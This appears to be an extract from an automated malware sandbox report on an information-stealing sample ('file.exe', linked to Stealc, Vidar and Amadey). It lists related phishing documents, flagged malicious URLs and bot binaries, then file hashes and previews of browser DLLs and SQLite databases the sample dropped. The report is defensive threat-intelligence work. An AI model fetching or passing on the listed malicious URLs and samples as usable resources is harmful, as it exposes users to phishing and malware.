MICROSOFT-CORP-MSN-AS-BLOCKUS	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	21.169.196.62
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	40.124.214.156
	PVJ6cLZQ0T.xls	Get hash	malicious	Unknown	Browse	52.113.195.132
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.28.46
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse	52.168.117.169
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	52.152.130.62
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	20.180.235.18
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	22.11.189.242
MICROSOFT-CORP-MSN-AS-BLOCKUS	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	21.169.196.62
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	40.124.214.156
	PVJ6cLZQ0T.xls	Get hash	malicious	Unknown	Browse	52.113.195.132
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.28.46
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse	52.168.117.169
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	52.152.130.62
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	20.180.235.18
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	22.11.189.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1
	https://esaleerugs.com	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1
	https://newbuck12.oss-ap-southeast-7.aliyuncs.com/pJKrbGSI.txt	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1
	https://pastebin.com/raw/0v6Vhvpb	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1
	https://docs.zoom.us/doc/5mbYcD6lRBK5O3HcDEXhFA?from=email	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1
	http://begantotireo.xyz	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1
	http://begantotireo.xyz	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1
	PVJ6cLZQ0T.xls	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1
	https://go.dgdp.net/	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 184.30.24.109 20.190.147.1

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFCFBKKKFHCFHJKFIIEHDBGCBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFHDAEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKECFIIEHCFHIECAFBAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHCBAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651239100734286
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM3SAELyKOMq+8yC8F/YfU5m+OlTLVumG:Bq+n0J39ELyKOMq+8y9/Ow1
MD5:	3049900F0D128318080C417C2FD44A5B
SHA1:	890310D770A9D735A0F86AB4D395D806B21E38E9
SHA-256:	F0C070D8C27E599C3698483BED36BFAF52425F3A164823C887996A462DDF3446
SHA-512:	136C23425FFF697462CFE9212887E25E9DB621BF6FE14DA24854FC99E6E006F86D52B543F242D0CC6330479F279D87B6FF6509C970FBC8497CA31D5C5896B7B5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCAEGDHJKFHJKFIJKJEGHIEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEHCGCGCFHIDBFHIIJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFHJJDHJEGHJKECBGCFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\12765798-607c-420a-8d0d-c1ad93506fd9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46054
Entropy (8bit):	6.088619118659494
Encrypted:	false
SSDEEP:	768:gMkbJrT8IeQc5d9ZEoulhDO6vP6O1DbqS2lYB8cFpRIQmxgRCAo7Goup1Xl3jVzg:gMk1rT8H19ZJ6VyQIQ9Ro7hu3VlXr4z
MD5:	A17C6A67459BA7C345202D2C51D3287E
SHA1:	226830A2D0CD490AB508EE4BD18764F226E0A3DF
SHA-256:	AA32F4337A06362B5F390B3D503AD0D0FCEFE7992BD90425656995F4C99DD44E
SHA-512:	0F4795EEDEE8A7DD5693171CD3A28204FD47518510194CEC202739BCDD3951A57583C6677F798C79C0E2C300A8F08BF71F595A35B061475F4395B7144FFF3E1F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732548090"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\24a5cfc9-f696-47c9-ade2-447b787120aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44694
Entropy (8bit):	6.0965127092523685
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBjwuYhDO6vP6O1DbqS2lYB8cFpRcGoup1Xl3jVzXq:z/Ps+wsI7yOEh6VyQchu3VlXr4CRo1
MD5:	C8042E18F6A41C63C45AD369F9CAD92E
SHA1:	4EF1BB11652904AD27363F4F360E0AD65A845A7E
SHA-256:	DB3B831354C38F2B86E937AD1E64172E8D5277A4DE32B43264CB2D30B793120B
SHA-512:	D2E12039A8FF1B8F0072B761D1B72337868EAAB577CE2D3E8288468FACA044B26F4183A52DAFF5B63512C0C4EFB8B1DC9A047D100C5E3DAF252015E4FB961F9F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2fda3743-35b4-420b-bcf4-af2c9ed7bb2b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.096510588311881
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB8wuYhDO6vP6O1Dbqa2jMn5lWcGoup1Xl3jVzXr4z:z/Ps+wsI7ynEk6VyLchu3VlXr4CRo1
MD5:	9309154AACDBE922FE173CBB0B647E48
SHA1:	DF33467AC49A2D9E4538CF2CBFBE60530EC21005
SHA-256:	9AC24C323D244D48F785B79D8AE4DFDE49D8351F52D6479333F4F1EB6EBA295D
SHA-512:	126C022C54709FD6606F434F11756530FAE235E8248692B9D525ABA3D8FEB096C1B44432689EC790A99513415E6A4F877D0467BD9228CC0E1A5EDE84D47B0307
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7dd54072-7f3a-406a-85e9-8bce03a791a0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46131
Entropy (8bit):	6.088556178619525
Encrypted:	false
SSDEEP:	768:gMkbJrT8IeQc5LoZEoulhDO6vP6O1Dbqy2lYB8cFpRIQmxgRCAo7Goup1Xl3jVzg:gMk1rT8HDoZJ6VywIQ9Ro7hu3VlXr4z
MD5:	59B1B8AC97476608E06A109675223140
SHA1:	FA4000FF68E41C36E622871CF55E9A45ED39163F
SHA-256:	C1C2AEC72E22B6BB8EF2BFC48F4B0C92D4E07CAF7FA21DE1E1A054B3C5EB9866
SHA-512:	878AD45BE6C2E3CFA11E32A4142B147874DE967B9FEA22194904E0CAD90ACC914199FE7186189CE93421F9C9BE8AC86E4D588379579CFF2C9C6DABDE31BE54E6
Malicious:	false
